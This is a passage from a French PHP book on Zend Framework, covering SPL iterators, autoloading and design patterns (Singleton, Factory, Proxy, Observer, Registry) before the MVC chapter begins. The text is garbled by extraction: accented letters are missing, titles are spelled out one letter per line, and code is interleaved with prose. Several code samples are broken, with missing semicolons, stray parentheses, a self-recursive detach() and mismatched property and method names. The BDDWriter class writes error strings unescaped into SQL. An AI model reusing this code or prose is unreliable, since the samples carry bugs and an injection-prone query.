echo $key; // ad
}
class ImageIterator extends FilterIterator
{
public function __construct($path)
{
parent::__construct(new DirectoryIterator($path));
}
public function accept()
{
$item = $this->getInnerIterator();
if (!$item->isFile()) {
return false;
}
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
361
FilterIterator pilote simplement un itrateur, mais dfinit, en plus de
la mthode valid(), une mthode accept(), qui peut faire sauter
litration en cours si elle est juge non valide (dans notre exemple :
lextension nest pas .jpg, .png ou .gif).
AppendIterator ajoute des itrateurs les uns la suite des autres
LimitIterator pilote un itrateur mais limite les rsultats sur une borne
Lautoload
En conception logicielle, il est recommand (et mme obligatoire pour
certains langages comme Java) dcrire une classe par fichier. Ceci
permet une organisation prcise du code en introduisant mme la notion
de hirarchie, que lon retrouve en UML, tout en gardant des conven-
tions reprises par dautres langages.
Or un problme apparat rapidement lorsque beaucoup dobjets entrent
en jeu, comme cest le cas avec Zend Framework : il faut inclure chaque
fichier contenant chaque classe que lon souhaite utiliser et ceci peut
savrer long et fastidieux. Un simple oubli et cest lerreur fatale.
PHP possde un concept dautoload : lorsquune classe est demande et
que PHP ne la trouve pas, juste avant denvoyer une erreur de type
E_FATAL, il effectue une dernire recherche. Il va parcourir la queue
return in_array(pathinfo($item->getFilename(), PATHINFO_EXTENSION), array('jpg','png','gif'));
}
}
$img = new ImageIterator('chemin/vers/un/dossier');
foreach ($img as $v) {
echo $v;
}
$array1 = new ArrayIterator(array('a', 'b'));
$array2 = new ArrayIterator(array('c', 'd'));
$it = new AppendIterator();
$it->append($array1);
$it->append($array2);
foreach($it as $value) {
echo $value; // abcd
}
$array = range(0, 10);
$ait = new ArrayIterator($array);
$lit = new LimitIterator($ait, 2, 6);
foreach($lit as $value) {
echo $value; // 234567
}
EN SAVOIR PLUS Classement des rsultats
Beaucoup ditrateurs prennent un second para-
mtre en constructeur qui va dterminer la
manire dont litration doit se passer. Rensei-
gnez-vous en consultant la documentation.
ZEND FRAMEWORK Itrateurs
Zend Framework utilise beaucoup les itrateurs.
Zend_Db_Table_Rowset est le plus clas-
sique.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
362
dautoloads, et en excuter toutes les fonctions. Ces fonctions dites
dautoload vont alors inclure la classe demande, selon un motif bien
prcis, qui fera partie des conventions de nom des fichiers du projet.
Exemple de fonction dautoload simple
Dans cet exemple, la classe uneClasse nexiste pas. Cependant, une fonc-
tion magique __autoload() a t dclare avant lappel la classe.
PHP va ainsi excuter le code dans cette fonction, avant de retenter de
crer un objet de la classe. Le code de cette fonction dit PHP dinclure
un fichier ayant le nom de la classe appele, suivi de lextension .php.
On met donc, dans la fonction dautoload, le code qui va dfinir la rgle
de nommage des classes. Dans Zend Framework, cette rgle dit que tout
caractre soulign _ dans le nom de la classe, doit tre remplac par
un slash / pour inclure le fichier contenant la classe :
Fonction dautoload du ZendFramework
La fonction magique __autoload() fonctionne correctement, cependant,
lorsquon utilise plusieurs frameworks ou bibliothques, chacun dentre
eux peut avoir ses propres rgles dautoload et de nom des classes. Or il
ne peut exister quune seule fonction __autoload(), sous peine derreur
pour cause de redfinition.
Pour viter cela, au lieu dutiliser une simple fonction magique, PHP sait
grer aussi une queue de fonctions dautoload. Chacune des fonctions
enregistres dans la queue est alors excute et la premire qui permet de
dfinir la classe appele est lance.
Gestion dune pile autoload
function __autoload($class)
{
require_once($class . '.php');
}
$obj = new uneClasse();
function __autoload($class)
{
$file = str_replace('_', DIRECTORY_SEPARATOR, $class) .
'.php';
require_once($file);
}
function Chargeur1($class)
{
require_once($class);
}
RAPPEL Chargement impossible ?
Bien entendu, si PHP narrive pas charger le
fichier, ou si ce fichier ne contient pas la classe
appele, une erreur E_FATAL sera leve.
NE PAS CONFONDRE Queue et pile
Une queue promet un ordre FIFO (First In First
Out) : le premier lment ajout est le premier
lment retir (ou trait). Une pile agit dans lordre
LIFO (Last In First Out) : le premier lment
ajout est le dernier tre retir (ou trait). La
confusion est frquente.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
363
UneClasse nexiste pas. PHP va donc parcourir les fonctions dautoload
dans la queue et essayer chacune dentre elles. Si aucune nest satisfai-
sante, PHP naura dautre choix que de renvoyer une erreur E_FATAL.
Lautoload est donc trs pratique, mais peut savrer dangereux :
on peut perdre le fil de son projet, en ne sachant plus qui dpend de
qui ;
il peut avoir un impact sur les performances, il nest en gnral pas
norme, mais quantifiable ;
il ne faut pas oublier, lors du dploiement de son projet, de bien syn-
chroniser ses serveurs (si le dveloppement utilise lautoload, mais pas
la production, il ne faudra pas loublier) ;
dans de rares cas, lautoload peut charger la mauvaise classe, lorsquon
lutilise. Il ne faut jamais oublier quil est activ lorsquon rencontre
un bogue louche.
Attention, certaines fonctions PHP ragissent lautoload. Cest le cas
de class_exists() qui prend un boolen en deuxime paramtre, pour
dterminer si la fonction doit prendre en compte lautoload ou non. Les
rsultats peuvent tout de mme passer de true false ! Il faut donc
rester vigilant.
function Chargeur2($class)
{
$file = str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php';
require_once($file);
}
spl_autoload_register('Chargeur1');
spl_autoload_register('Chargeur2');
$obj = new UneClasse()
ATTENTION Mthode magique dsactive
spl_autoload_register() supprime
leffet dune ventuelle fonction
__autoload() aussi prsente. Si celle-ci doit
tre utilise, il faut alors lenregistrer explicite-
ment dans la queue.
CHOISIR Fonction ou mthode ?
Sauf cas rares, chaque fois quune fonction PHP
demande denregistrer le nom dune fonction,
comme spl_autoload_register(); il est
possible de lui passer un tableau dsignant une
mthode statique dune classe, de la forme
array('class', 'function').
Groupe Eyrolles, 2008
D
Design patterns
Les design patterns (aussi appels motifs de conception)
reprsentent des structures objet. Programmer avec des objets
nest efficace que si leur structuration est bonne. Combien
doit-il y avoir de classes ? Quels objets possdent quelles
responsabilits ? Comment les objets interagissent-ils entre
eux ? Comment faire en sorte que limpact dun changement
dans le programme soit matris et limit ? Toutes ces rponses
sont donnes par les motifs de conception, qui assurent au final
une application cohrente, dcouple, testable et maintenable.
Les motifs proposent des faons de concevoir son code ;
ils sont reconnus dans le gnie logiciel et indpendants
du langage de programmation utilis. Ils rpondent des
problmes connus et rcurrents du dveloppement logiciel.
SOMMAIRE
BQuest un design pattern ?
BConnatre les principaux
patterns
BExemples pratiques
MOTS-CLS
Bobjet
Bdcoupage applicatif
Bresponsabilits
Bdlgation de tche
Bassemblage dobjets
BSingleton
BFabrique
BProxy
BObservateur
BRegistre
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
366
Ce chapitre vous fait dcouvrir lintrt des design patterns. Vous les
manipulerez et vous aurez aussi une ide de la manire dont ils sont uti-
liss dans le code source de Zend Framework, afin de lui assurer la flexi-
bilit quon lui connat.
Comprendre les motifs de conception
Pour schmatiser, on peut comparer les design patterns un moteur de
voiture. Celui-ci est dune tonnante complexit, et dune incroyable
prcision. Cest un ensemble de pices (dobjets) qui fonctionnent toutes
ensemble. La manire dont fonctionnent ces pices les unes avec les
autres, et la responsabilit attribue chacune reprsentent un ensemble
de motifs de conception.
Lorsquune pice casse dans un moteur, on est capable de lisoler. On est
capable aussi de la remplacer, et mme de la tester part. Ce nest que
parce que chaque pice possde un rle unique, et parce quelles ont
toutes t prvues pour fonctionner ensemble dune manire prcise et
rflchie, que le tout, le moteur, finit par tourner et faire avancer le vhi-
cule.
Les design patterns reprsentent ainsi la manire dont chaque objet va
ragir, soit individuellement, soit avec les objets voisins. Comme un
moteur peut ne pas tourner rond ou ne pas tourner du tout si ses
pices sont mal assembles, il en va de mme pour une application : si
ses objets sont mal conus, ou sils narrivent pas communiquer correc-
tement ensemble, alors cest toute lapplication qui en paiera les cons-
quences.
Il est possible de crer une application web (raisonnable) dans un seul
objet, tout comme il est possible de la crer avec des milliers dobjets.
Dans les deux cas, lapplication ne sera facile ni maintenir, ni tester.
Depuis trs longtemps, les architectes logiciel ont analys et valu des
manires de concevoir les objets, de manire individuelle, ou dans un
tout. Il en est ressorti des dizaines de faons remarquables de les faire
communiquer, chacune rpondant un problme prcis et rcurrent :
chacune de ces faons reprsente alors un motif de conception. Le but
ultime est dobtenir un programme forte cohsion et faible couplage.
PRREQUIS Connaissance du modle objet
Ce chapitre ncessite une bonne comprhension
du modle objet de PHP. Si vous ntes pas laise
avec celui-ci, rendez-vous lannexe C qui vous
donnera de bonnes bases pour comprendre les
motifs de conception.
T Couplage
Le couplage applicatif reprsente le nombre de
dpendances que possde une classe envers
dautres classes. Plus celles-ci sont nombreuses et
bidirectionnelles, plus le code est coupl, et plus
lintroduction dun changement aura de rpercus-
sions et prendra du temps. Il est ncessaire de
veiller en permanence au couplage des classes.
Des outils tels que PHP_Depend permettent
dailleurs danalyser celui-ci.
T Cohsion
La cohsion dune classe reprsente ses responsa-
bilits. Plus la cohsion est forte, moins la classe
possde de responsabilits, ce qui est leffet
recherch. Une classe forte cohsion rsistera
mieux au changement. Par exemple, il peut tre
ncessaire de sparer en deux classes la notion
logique ouvrir un fichier , en ouvrir + un
fichier .
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
367
Motif Singleton
De tous les motifs de conception, le Singleton est le plus simple com-
prendre. Son rle est de sassurer quune classe ne pourra donner nais-
sance qu une et une seule instance, point final. Il fait en sorte quil soit
impossible de crer plusieurs objets diffrents au sein dune mme classe.
De tels cas peuvent tre amens apparatre : par exemple, une con-
nexion une base de donnes devrait en thorie tre unique.
Exemple de motif Singleton en PHP
Ce design pattern est relativement simple crire en PHP, voyons cela :
Un motif Singleton en PHP
Lastuce rside dans le fait que le constructeur nest pas public. On ne
peut donc pas lappeler (par le mot-cl new) depuis lextrieur de la
classe, mais uniquement depuis lintrieur de cette classe ou de lun de
ses enfants (visibilit protge).
Nous avons bien pris soin aussi dempcher le clonage dun objet
Singleton, ce qui aurait men la faillite de notre objectif : navoir en
tout point du script quune et une seule instance de cette classe.
Pour crer une (la seule) instance de la classe Singleton, nous avons mis
en avant une mthode statique appele getInstance(). Celle-ci sassure
que linstance retourne est toujours la mme.
class Singleton
{
protected static $_instance = null;

protected function __construct()
{
// ...
}

public static function getInstance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self;
}
return self::$_instance;
}

private function __clone()
{}
}
Figure D1
Diagramme de classes du pattern Singleton
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
368
Utilisation du Singleton
Un Singleton dans Zend Framework ?
Zend Framework utilise plusieurs fois ce pattern. Cest notamment le
cas de Zend_Controller_Front. En effet, le contrleur frontal reprsen-
tant conceptuellement lapplication dans son ensemble, on comprend
bien quil ny ait quune seule application par script. Avoir plusieurs ins-
tances du contrleur frontal na absolument aucun sens. Nous pouvons
encore citer Zend_Auth, Zend_Registry...
Motif Fabrique
Il arrive parfois que les classes soient nommes dune manire commune,
dans un espace de noms donn. Aussi, il peut vite devenir pnible de
chercher une classe dans un groupe de classes similaires, dans le but de
linstancier.
Le motif Fabrique se charge de chercher la bonne classe et den retourner
une instance. Il inclut ainsi la logique de recherche et de cration dobjets,
en proposant une API simple pour rechercher son instance.
Exemple de motif Fabrique en PHP
Notre exemple va utiliser un motif Singleton, lextension de Rflexion
ainsi quune mthode magique afin de proposer une API simplifie.
Pour exposer le problme, voici un exemple :
$instance = Singleton::getInstance();
$instance->uneMethode();
class DBAdapters_Mysql
{
public function __construct($host, $login, $pass)
{
// ...
}
}
class DBAdapters_Pgsql
{
public function __construct($host, $login, $pass)
{
// ...
}
}
REMARQUE Singleton protg ?
Le motif prsent ci-dessus utilise la visibilit pro-
tge (protected) plutt que prive (private), de
manire pouvoir tre facilement hrit. Le fils
naura alors qu redfinir une proprit statique
$_instance protge, et le tour sera jou.
RENVOI Rflexion
La notion de rflexion est aborde dans
lannexe C relative la programmation oriente
objet.
Figure D2 Diagramme de classes
dun pattern Fabrique en PHP
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
369
Lobjet de Fabrique est un singleton dont le paramtre reprsente
lespace de noms de la future classe crer. Il peut ensuite crer les objets
des classes dsires par un simple appel de mthode portant le nom de la
classe instancier.
Ce motif est un exemple de Fabrique, un peu labor, afin de convenir
une majorit de cas. Voyons comment il tire parti des atouts du modle
objet de PHP :
Un motif Fabrique gnrique
$objetMysql = Factory::getInstance('DBAdapters_')
->mysql('localhost', 'name', 'pass'));
$objetPgsql = Factory::getInstance('DBAdapters_')
->pgsql('somehost', 'myname', 'mysecretpass'));
final class Factory
{
private static $_instance = null;
private $_namespace;

protected function __construct()
{}
public static function getInstance($namespace = null)
{
if (is_null(self::$_instance)) {
self::$_instance = new self;
}
self::$_instance->_namespace = $namespace;
return self::$_instance;
}

public function __call($meth, $args)
{
$class = ucfirst(strtolower($this->_namespace . $meth));
if (class_exists($class, false)) {
$refClass = new ReflectionClass($class);
if ($refClass->isInstantiable() &&
$refClass->hasMethod('__construct')) {
return $refClass->newInstanceArgs($args);
} else {
throw new Exception("La classe $class nest pas instanciable");
}
} else {
throw new Exception("La Classe $class est introuvable");
}
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
370
La mthode __call() se charge de trouver la classe en prenant soin
dutiliser lespace de noms ($_namespace) ventuel. Elle vrifie ensuite
que celle-ci peut tre instancie et en retourne un objet.
Une Fabrique dans Zend Framework ?
Lexemple ci-dessus possde des similitudes avec Zend_Db. Cette classe
ne possde quune mthode statique, factory(), qui permet de chercher
la classe correspondant ladaptateur de base de donnes dsir, puis
den retourner un objet.
Zend_Cache utilise aussi la Fabrique comme interface simple de cration
dobjets de cache. Ceux-ci se dcomposent en un objet frontal (que mettre
en cache ?) et un objet support (dans quel support mettre en cache ?).
Motif Proxy
Le Proxy est un motif reprsent par un objet sintercalant entre deux
autres. Un objet A peut vouloir appeler une mthode sur un autre objet
B, mais sans savoir si B est disponible pour recevoir ce message. Lobjet
A va donc faire appel un objet C, charg dappeler lobjet B pour lui. Il
pourra mme mettre en cache ses donnes.
Ceci est le schma dun Proxy de base.
Exemple de motif Proxy dynamique
Pour le code, nous allons nous pencher sur un Proxy dynamique, cest--
dire un proxy qui prend en charge toutes les mthodes de lobjet gr par
le proxy.
Un design pattern Proxy dynamique
Figure D3
Diagramme de classes du pattern Proxy
class Proxy
{
private $_client;

public function __construct($client)
{
$this->_client = $client;
}
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
371
La mthode __call() intercepte les appels de mthodes sur lobjet
Proxy et les redirige sur les mthodes de lobjet client (proxi).
Un Proxy plus volu peut transformer les appels de fonctions PHP vers
des mthodes sur un objet proxy dynamique. En saidant un peu de la
SPL, le dynamisme sera encore accru, puisque nous permettons notre
objet de se comporter comme un tableau.
Cas dutilisation dun design pattern Proxy dynamique volu
Quel est donc cet objet magique dsign par $p ? Il reprsente un miroir
vers des fonctions PHP que nous connaissons tous. Il en transforme
mme la syntaxe, puisque les fonctions PHP crites avec des souligns
(fonction_php()) se transforment en appelsCamelCaseSympathiques()
(une majuscule au dbut de chaque mot, sauf le premier).
Il est mme capable de lever des exceptions si les appels sont errons :
Appel dune fonction PHP inexistante
Appel incorrect dune fonction PHP
public function __call($meth, $params)
{
$classMeth = array($this->_client,$meth);
return @call_user_func_array($classMeth, $params);
}
}
<?php
$p = new functionProxy();
$p['str']->str($a, $b); // proxie vers strstr($a, $b)
$p['array']->mergeRecursive($a, $b);
// proxie vers array_merge_recursive($a, $b)
$p['stream']->copyToStream($a, $b);
// proxie vers stream_copy_to_stream($a, $b)
$p['array']->notExist();
// ceci affiche :
Fatal error: Uncaught exception 'FunctionNotExistsException'
with message 'PHP function array_not_exist doesn't exists'
in...
$p['str']->wordCount($a);
// ceci affiche :
Fatal error: Uncaught exception 'BadParameterException' with
message 'str_word_count() expects at least 1 parameter, 0 given
in...
RENVOI SPL
La SPL est la Standard PHP Library, dtaille
dans lannexe C concernant la programmation
oriente objet.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
372
Sans plus attendre, voici la (les) classe(s) :
<?php
class FunctionNotExistsException extends Exception
{}
class BadParameterException extends Exception
{}
class functionProxy implements ArrayAccess
{
const SEPARATOR = '_';

private $_proxy = null;

public function __construct() { }

/**
* ArrayAccess implementation
*/
public function offsetGet($offset)
{
$this->setProxy($offset);
return $this;
}

/**
* ArrayAcces implementation
*/
public function offsetSet($offset,$value)
{
throw new Exception('Affectation interdite');
}

/**
* ArrayAcces implementation
*/
public function offsetExists($offset)
{
return $offset == $this->_proxy;
}

/**
* ArrayAcces implementation
*/
public function offsetUnset($offset)
{
throw new Exception('Drfrencement interdit');
}

/**
* Proxy
*/
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
373
Notez le jeu habile de transformation de la casse et de linterception des
erreurs via la variables $php_errormsg (cette astuce est utilise dans le
code source de Zend Framework).
Un Proxy dans Zend Framework ?
Le Zend Framework utilise ce motif plusieurs endroits, mais lempla-
cement le plus flagrant est sans doute dans le composant Zend_View.
public function __call($func,$args)
{
// remplace les underscores par du camelCase
$func = strtolower(preg_replace(array(
'#(?<=(?:[A-Z]))([A-Z]+)([A-Z][A-z])#',
'#(?<=(?:[a-z]))([A-Z])#'),
array('\1' . '_' . '\2', '_' . '\1'),(string)$func));

if (!function_exists($this->createFunctionName($func))){
throw new FunctionNotExistsException("PHP function"
X . $this->_createFunctionName($func) . " doesnt exists");
}

unset($php_errormsg);
// transforme l'erreur PHP en exception
if (ini_get('track_errors') == 0) {
ini_set('track_errors', 1);
}
// appel de la fonction PHP reprsente
$return = @call_user_func_array(
$this->_createFunctionName($func),$args);
if (isset($php_errormsg)) {
throw new BadParameterException($php_errormsg);
}
return $return;
}

public function setProxy($proxy)
{
$this->proxy = (string)$proxy;
}

private function _createFunctionName($func)
{
if (strpos($func, '_') !== false) {
return $this->_proxy . self::SEPARATOR . $func;
}
return $this->_proxy . $func;
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
374
La classe de base Zend_View ne possde que quelques mthodes utilisables,
mais grce lajout dobjets dits daide (Zend_View_Helper_Abstract),
les mthodes inconnues appeles sur un objet Zend_View sont aiguilles par
le motif de conception Proxy vers laide approprie.
Motif Observateur/Sujet
Le design pattern Observateur/Sujet (que lon abrgera par
Observateur ), est un grand classique dans le dcouplage applicatif. Il
met clairement en avant les pratiques objet recommandes : faible cou-
plage, forte cohsion.
Exemple de motif Observateur
Imaginons que nous souhaitions crer un gestionnaire derreurs PHP. Le
langage permet en effet de dfinir une fonction ou une mthode qui sera
appele lorsquune erreur PHP surviendra. Dans notre cas, nous souhaitons,
au dclenchement dune erreur, enregistrer celle-ci sur plusieurs supports :
une base de donnes ;
un fichier ;
un e-mail qui sera envoy ;
... tout autre support.
Lerreur ne pas faire est de dvelopper toutes ces fonctionnalits dans
une seule classe. La cohsion serait alors trs faible : une seule classe
aurait la responsabilit de tous les supports de stockage des erreurs, et un
changement ultrieur imposerait probablement une rcriture de la
classe complte.
Le motif Observateur va nous aider sparer les responsabilits. La
classe principale qui va enregistrer les erreurs PHP ne fera que noti-
fier chacun des objets qui lobservent. Ces objets reprsenteront chacun
un support denregistrement unique de lerreur.
RENVOI Zend_View
La classe Zend_View est traite en dtail au
chapitre 7.
Figure D4
Diagramme de classes du pattern Observateur
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
375
La classe ErrorHandler se charge de capturer les erreurs PHP
Figure D5
Diagramme de classes
du pattern Observateur pour notre exemple
<?php
class ErrorHandler implements SplSubject
{
private $_errno;
private $_errstr;
private $_errline;
private $_errfile;
private $_observers;
public function __construct()
{
$this->_observers = new SplObjectStorage;
}
public function error($errno, $errstr, $errfile, $errline)
{
// on nenregistre pas les erreurs supprimes avec le
// caractre arobase '@'
if(error_reporting() == 0) {
return;
}
$this->_errno = $errno;
$this->_errstr = $errstr;
$this->_errfile = $errfile;
$this->_errline = $errline;
$this->notify();
// PHP 5.2 : false doit tre retourn
// pour peupler $php_errormsg
return false;
}
public function getError()
{
return $this->_errstr . ', '
. $this->_errfile . ', '
. $this->_errline;
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
376
Nous dclarerons plus tard la mthode error() de notre classe
ErrorHandler comme tant la fonction de gestion des erreurs PHP.
Cette mthode enregistre lerreur dans les attributs de lobjet, avant
dappeler une mthode notify() qui va alors son tour appeler update()
sur tous les objets observateurs, en leur attribuant sa propre instance.
Les objets observateurs nauront plus qu rcuprer lerreur grce la
mthode getError() de notre gestionnaire derreurs puis en faire ce
quils voudront (lenregistrer, par exemple).
Pour stocker des objets, la classe SplObjectStorage (issue de la SPL) est
tout fait approprie.
Une classe Observateur, pour lenregistrement des erreurs dans un fichier
public function attach(SplObserver $obs)
{
// ajout dun observateur
$this->_observers->attach($obs);
return $this
}
public function detach(SplObserver $obs)
{
// suppression dun observateur
$this->detach($obs);
return $this;
}
public function notify()
{
// itration sur les observateurs
foreach ($this->_observers AS $observer)
{
try {
// notification
$observer->update($this);
} catch(Exception $e) {
die($e->getMessage());
}
}
return $this;
}
}
class FileWriter implements SplObserver
{
private $_fp;
public function __construct($filepath)
{
if (FALSE === $this->_fp = @fopen($filepath,'a+')) {
throw new Exception("Fichier de log inaccessible.");
REMARQUE La SPL la rescousse
La SPL nous est utile une fois de plus ici. Elle
fournit en effet les deux interfaces ncessaires la
bonne implmentation logique du motif Observa-
teur/Sujet.
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
377
Une classe observateur, pour lenregistrement des erreurs dans une base de donnes
Remarquez comme chacun des observateurs ne fait que recevoir une ins-
tance de ErrorHandler et en extraire le message derreur afin de lenre-
gistrer.
Notez aussi que chaque classe possde une responsabilit unique, ce qui
en simplifie les tests unitaires et le dcouplage : il sera en effet trs
simple de changer de base de donnes, ou bien dinhiber temporaire-
ment lenregistrement dans un fichier, par exemple.
Utilisation de lObservateur
}
}
public function update(SplSubject $errorHandler)
{
fputs($this->_fp,$errorHandler->getError() . PHP_EOL);
}
}
class BDDWriter implements SplObserver
{
private $_pdo;
private $_table;
private $_col;
public function __construct($host, $login, $pass, $dbname, $table, $col)
{
$this->_pdo = new PDO("mysql:host=$host;dbname=$dbname", $login, $pass);
$this->_pdo->setAttribute(
PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$this->_col = (string)$col;
$this->_table = (string)$table;
}
public function update(SplSubject $errorHandler)
{
$this->_pdo->exec("INSERT INTO $this->_table(`$this->_col`)
VALUES('{$errorHandler->getError()}')");
}
}
<?php
$errorHandler = new ErrorHandler;
$fileWriter = new FileWriter(dirname(__FILE__).'/log'));
$dbWriter = new BDDWriter('my-host', 'login', 'secret',
'exampledb', 'mytable', 'mycolumn'));
RENVOI Tests unitaires
Les tests unitaires sont abords lannexe H.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
378
Il est possible dtendre les possibilits du systme. Lobjet FileWriter
peut utiliser la gestion des flux PHP pour crire sur la sortie standard,
par exemple, grce php://output.
Nous pourrions crer tout type de support denregistrement : e-mail,
LDAP, flux rseau et mme un simple tableau PHP.
Un Observateur/Sujet dans Zend Framework ?
Zend Framework utilise ce motif de diffrentes manires ; on le trouve
plusieurs endroits du code. Par exemple, Zend_Log utilise le pattern Obser-
vateur pour envoyer les messages quil reoit ses observateurs chargs de
les enregistrer (implmentation trs proche de notre exemple).
Aussi, Zend_Controller_Front utilise le mme principe pour notifier
ses plugins les vnements lis la redistribution et au traitement des
requtes : preDispatch, postDispatch, etc.
Motif Registre
Le Registre est un motif de conception trs simple. Son but : servir de
support de stockage dobjets, en vue de les partager entre les objets dun
systme. titre de comparaison, pensez simplement un panier qui
stockerait des instances et les ressortirait lorsquon les lui demande.
Ce pattern est intressant dans la mesure o une classe peut avoir besoin
ponctuellement dun objet dune autre classe. Plutt que de la lui passer
via une mthode, la classe va simplement se servir dans le registre.
Exemple de motif Registre
Un design pattern Registre (singleton)
$errorHandler->attach($fileWriter)
->attach($dbWriter);
set_error_handler(array($errorHandler, 'error'));
class Registre
{
private $_store = array();
private static $_instance;
private function __construct() { }
Figure D6
Diagramme de classes du pattern Registre
REMARQUE Registre singleton
Application immdiate du pattern Singleton : nous
disons bien le Registre. Il est donc seul et, dans
une application, il ne doit en exister (en gnral)
quun seul, et toujours le mme. Un registre sera
donc, souvent aussi, un singleton.
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
379
Cette classe utilise bon escient les mthodes magiques de PHP, afin de pro-
poser une interface plus conviviale de pilotage de son objet. Voyez plutt :
Utilisation du Registre
public static function getInstance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self;
}
return self::$_instance;
}
public function __set($label, $object)
{
if(!isset($this->_store[$label])) {
$this->_store[$label] = $object;
}
}
public function __unset($label)
{
if(isset($this->_store[$label])) {
unset($this->_store[$label]);
}
}
public function &__get($label)
{
if(isset($this->_store[$label])) {
return $this->_store[$label];
}
return false;
}
public function __isset($label)
{
return isset($this->_store[$label]);
}
}
class Foo
{
public function bar()
{
return 'hello';
}
}
Registre::getInstance()->objetfoo = new Foo();
// ailleurs dans une classe, par exemple :
echo Registre::getInstance()->foo->bar(); // affiche hello
ATTENTION Antipattern Registre
Attention, le Registre peut engendrer des catas-
trophes au niveau du couplage. En effet, si tous
les objets sont stocks et utiliss partir du
Registre, le couplage nest absolument plus ma-
tris, et la capacit maintenir lapplication
seffondre srieusement.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
380
Un Registre dans Zend Framework ?
Zend Framework propose un pattern Registre, disponible dans la classe
Zend_Registry.
Si vous observez son code source, vous verrez quil a t intelligemment
construit en hritant ArrayObject, une classe de la SPL. Ceci est tout
fait logique, car un registre tant un espace de stockage, lhritage est
amplement justifi. Le Registre de Zend Framework va encore plus loin,
en permettant de spcifier sa propre instance de registre.
Si vous voulez voir un exemple de classe pas trop complexe, grant
merveille les deux espaces que sont la classe (static, self...) et lobjet
(new , $this...), alors analysez la source de Zend_Registry.
Et bien dautres encore...
Nous ne pouvons malheureusement pas tre exhaustifs dans ce chapitre,
car les design patterns se comptent par dizaines et ont mme t orga-
niss en familles. En voici juste un petit aperu :
Les motifs crateurs :
Fabrique abstraite ;
Monteur ;
Fabrique ;
Prototype ;
Singleton.
Les motifs structuraux :
Adaptateur ;
Pont ;
Objet composite ;
Dcorateur ;
Faade ;
Poids-plume ;
Proxy.
Les motifs comportementaux :
Chane de responsabilit ;
Commande ;
Interprteur ;
Itrateur ;
Mdiateur ;
D


D
e
s
i
g
n

p
a
t
t
e
r
n
s
Groupe Eyrolles, 2008
381
Mmento ;
Observateur ;
tat ;
Stratgie ;
Patron de mthode ;
Visiteur.
Il existe de nombreux livres sur les design patterns, dont certains concer-
nant PHP. Le Web regorge aussi dinformations leur sujet, citons par
exemple : http://www.patternsforphp.com.
Groupe Eyrolles, 2008
E
Le pattern MVC
en thorie
Depuis plusieurs annes, nous entendons parler du modle
MVC. Ce dernier existe depuis longtemps et a t invent avec
le langage SmallTalk en 1979. Peu peu, il a t implment
dans les problmes relatifs au Web, dans lesquels il trouve
toute son utilit. MVC est un concept aujourdhui
omniprsent dans le monde du dveloppement web.
SOMMAIRE
BPourquoi utiliser MVC ?
BLe modle MVC de Zend
Framework
MOTS-CLS
BModle
BVue
BContrleurs
Bsparation logique
Bcouches
Broutage
Btemplates
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
384
Model-View-Controller est un motif de conception (ou design pattern)
qui permet de cadrer le dveloppement et la maintenance dune applica-
tion. Il spare celle-ci en trois couches logiques distinctes :
model (modle) : le rle de cette couche est de structurer les donnes
et, dans une moindre mesure, de proposer une interface daccs. Le
modle peut avoir un rle plus ou moins important suivant les
besoins ;
view (vue) : cette couche concerne toute la partie prsentation luti-
lisateur final, cest--dire laspect extrieur. La plupart du temps, la
vue est accompagne dun moteur de templates ;
controller (contrleur) : ce composant est le plus complexe saisir
thoriquement. Il sagit de la logique de contrle qui va agir comme
une glue entre les parties modle et vue. Il est responsable de la col-
lecte des donnes externes, du traitement du modle, de la fusion
avec la vue et de lenvoi de la rponse au client. Il nest pas rare que le
contrleur soit lui-mme divis en sous-parties distinctes.
Ce chapitre propose dentrer dans le monde du motif MVC en thorie.
Dans Zend Framework, les composants Zend_Controller, Zend_View et
Zend_Layout sont directement concerns par ce concept.
Pourquoi utiliser MVC ?
Cette question est intressante pour les personnes ne possdant pas
dexprience avec ce modle. En ralit, tout le monde utilise un modle
MVC, et ceci en permanence. Cependant, il est possible de mlanger ses
trois couches, et ainsi de ne pas les apercevoir. Un tel flou est trs cou-
